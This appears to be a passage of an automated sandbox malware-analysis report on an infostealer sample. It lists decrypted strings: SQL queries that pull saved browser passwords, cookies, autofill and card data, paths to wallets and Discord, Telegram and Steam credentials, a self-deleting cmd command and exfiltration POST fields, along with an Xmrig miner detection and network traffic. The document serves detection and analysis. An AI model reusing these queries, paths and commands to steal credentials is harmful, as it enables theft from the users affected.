Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SHGetFolderPathA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ShellExecuteExA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: InternetOpenUrlA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: InternetConnectA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: InternetCloseHandle
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: InternetOpenA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HttpSendRequestA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HttpOpenRequestA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: InternetReadFile
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: InternetCrackUrlA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: StrCmpCA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: StrStrA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: StrCmpCW
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: PathMatchSpecA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: GetModuleFileNameExA
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RmStartSession
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RmRegisterResources
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RmGetList
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: RmEndSession
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_open
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_prepare_v2
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_step
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_column_text
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_finalize
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_close
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_column_bytes
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3_column_blob
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: encrypted_key
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: PATH
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: NSS_Init
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: NSS_Shutdown
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: PK11_GetInternalKeySlot
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: PK11_FreeSlot
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: PK11_Authenticate
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: PK11SDR_Decrypt
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: C:\ProgramData\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Soft:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: profile:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Host:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Login:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Password:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Opera
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: OperaGX
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Network
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Cookies
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: .txt
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: TRUE
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: FALSE
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Autofill
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT name, value FROM autofill
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: History
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Name:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Month:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Year:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Card:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Cookies
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Login Data
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Web Data
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: History
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: logins.json
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: formSubmitURL
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: usernameField
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: encryptedUsername
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: encryptedPassword
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: guid
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: cookies.sqlite
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: formhistory.sqlite
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: places.sqlite
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Plugins
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Local Extension Settings
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Sync Extension Settings
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: IndexedDB
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Opera Stable
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Opera GX Stable
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: CURRENT
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: chrome-extension_
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: _0.indexeddb.leveldb
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Local State
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: profiles.ini
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: chrome
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: opera
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: firefox
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Wallets
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %08lX%04lX%lu
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ProductName
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ProcessorNameString
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DisplayName
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DisplayVersion
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: freebl3.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: mozglue.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: msvcp140.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: nss3.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: softokn3.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: vcruntime140.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Temp\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: .exe
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: runas
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: open
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: /c start
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %DESKTOP%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %APPDATA%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %LOCALAPPDATA%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %USERPROFILE%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %DOCUMENTS%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %PROGRAMFILES%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %PROGRAMFILES_86%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: %RECENT%
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: *.lnk
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Files
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \discord\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Local Storage\leveldb
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Telegram Desktop\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: key_datas
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: D877F783D5D3EF8C*
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: map*
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: A7FDF864FBC10B77*
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: A92DAA6EA6F891F2*
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: F8806DD0C461824F*
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Telegram
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: *.tox
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: *.ini
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Password
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: 00000001
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: 00000002
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: 00000003
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: 00000004
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Outlook\accounts.txt
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Pidgin
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \.purple\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: accounts.xml
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: dQw4w9WgXcQ
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: token:
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Software\Valve\Steam
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: SteamPath
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \config\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ssfn*
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: config.vdf
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DialogConfig.vdf
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: libraryfolders.vdf
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: loginusers.vdf
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Steam\
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: sqlite3.dll
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: browsers
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: done
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Soft
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: \Discord\tokens.txt
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: https
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: POST
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: HTTP/1.1
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: Content-Disposition: form-data; name="
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: hwid
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: build
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: token
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: file_name
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: file
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: message
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack String decryptor: screenshot.jpg
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 9_2_665E6C80

Bitcoin Miner
barindex
Yara detected Xmrig cryptocurrency miner
Source: Yara match File source: sslproxydump.pcap, type: PCAP

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\MP3Doctor Free 2020\mp3doctorfree32_64.exe Unpacked PE file: 31.2.mp3doctorfree32_64.exe.400000.0.unpack
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49761 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.26.9.59:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 3.5.20.219:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.174.95.43:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.132.113:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60389 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60394 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60396 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60398 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60401 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60404 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60410 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60414 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60417 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60418 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60420 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60421 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60424 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60426 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60428 version: TLS 1.2
Source: unknown HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.6:60431 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60433 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60437 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.6:60441 version: TLS 1.2
Source: unknown HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.6:60446 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2718939776.000000006664D000.00000002.00000001.01000000.00000023.sdmp
Source: Binary string: nss3.pdb@ source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp
Source: Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772EXE\obj\Debug\playApp_multy.pdb source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000000.2312651651.0000000000802000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: Z:\Development\Secureuser\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: IVTULQzdBmF3Bc0NeoxSnYvg.exe, IVTULQzdBmF3Bc0NeoxSnYvg.exe, 00000007.00000002.3354901045.000000000077A000.00000040.00000001.01000000.00000007.sdmp
Source: Binary string: PE.pdbH] source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2421761793.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2468716919.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000002.2421723577.0000000003231000.00000004.00000800.00020000.00000000.sdmp
